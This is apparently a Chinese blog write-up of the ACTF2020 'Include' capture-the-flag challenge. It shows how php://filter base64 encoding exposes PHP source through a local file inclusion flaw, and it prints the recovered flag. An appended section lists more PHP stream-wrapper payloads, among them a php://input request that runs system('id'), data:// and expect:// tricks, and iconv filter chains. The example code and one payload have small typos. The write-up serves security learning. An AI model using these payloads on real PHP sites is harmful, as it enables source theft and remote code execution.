[LFI]Second day—使用php伪协议获取php源码

·前言

这是ACTF2020的Include题,类型是LFI包含文件读取,十分的简单,熟悉相关漏洞后可以直接平推。

这里需要用到php://filter伪协议,它是PHP内置的流包装器(说白了就是过滤器),在读取或写入文件时对数据进行编码、解码、转换等处理。常用于文件包含漏洞(file inclusion)绕过,用以获取源码等敏感信息。

·需要先掌握的基础知识:

假设,我们写一个简单的flag.php文件

<?php
include($_GET['page'];
?>

参数是page,那就可以:

/flag.php?page=php://filter/read=convert.base64-encode/resource=flag.php

就可以获取到flag.php的base64字符串,进行解码后就可以获得源代码

这个技巧很重要,也很好用。常用于file inclusion,XXE,反序列化等漏洞,实现源码泄露,甚至可以RCE

还有著名的CVE-2024-2961也和这个有关

·实战

公式化开局直接看f12,发现是一个跳转到flag.php的超链接

Snipaste_2026-03-30_01-20-15

跳转过去,发现就给了一串“Can you find out the flag?”

Snipaste_2026-03-30_01-21-21

flag大概就是在这个php里面,应该是一个ehco的上面那句话,源码里估计就藏了个flag

那还说啥了 ,直接开始吟唱:

/?file=php://filter/read=convert.base64.encode/resource=flag.php

豪!接入url看看如何

Snipaste_2026-03-30_01-22-22

base64编码出来的flag.php源码

解码之后看看:

Snipaste_2026-03-30_01-24-38

十分的美味啊

echo "Can you find out the flag?";
//flag{7096d6b9-40cc-423f-854d-e2ec78b96b5b}

·拓展

PHP 伪协议与任意文件读取

PHP 支持多种伪协议(stream wrappers),当 allow_url_fopenallow_url_include 开启时,攻击者可以利用它们读取或执行文件。

2.1 php://filter

最常用的读取源码的协议,可以读取 PHP 文件内容并经过各种过滤器转换(如 base64 编码),绕过直接执行 PHP 代码的限制。

基本用法

text

php://filter/convert.base64-encode/resource=index.php

返回 index.php 的 base64 编码内容,解码后可得源码。

可组合多个过滤器,例如:

text

php://filter/convert.iconv.UTF-8.UTF-16LE|convert.base64-encode/resource=config.php

利用 convert.iconv 可以改变编码,甚至触发漏洞(如 CVE-2024-2961)。

2.2 php://input

读取 POST 原始数据,常用于配合文件包含实现代码执行:

http

POST /include.php?file=php://input HTTP/1.1
Content-Type: application/x-www-form-urlencoded

<?php system('id'); ?>

2.3 data://

允许内联数据流,可用来写入简单内容:

text

data://text/plain,<?php phpinfo(); ?>

但需要 allow_url_include=On 才能包含执行。

2.4 expect://

执行外部命令(需安装 expect 扩展且 allow_url_include=On):

text

expect://id

2.5 zip://phar://

可读取压缩包内的文件,也可用于反序列化(phar 反序列化)。

posted @ 2026-03-30 01:49  ITRS  阅读(2)  评论(0)    收藏  举报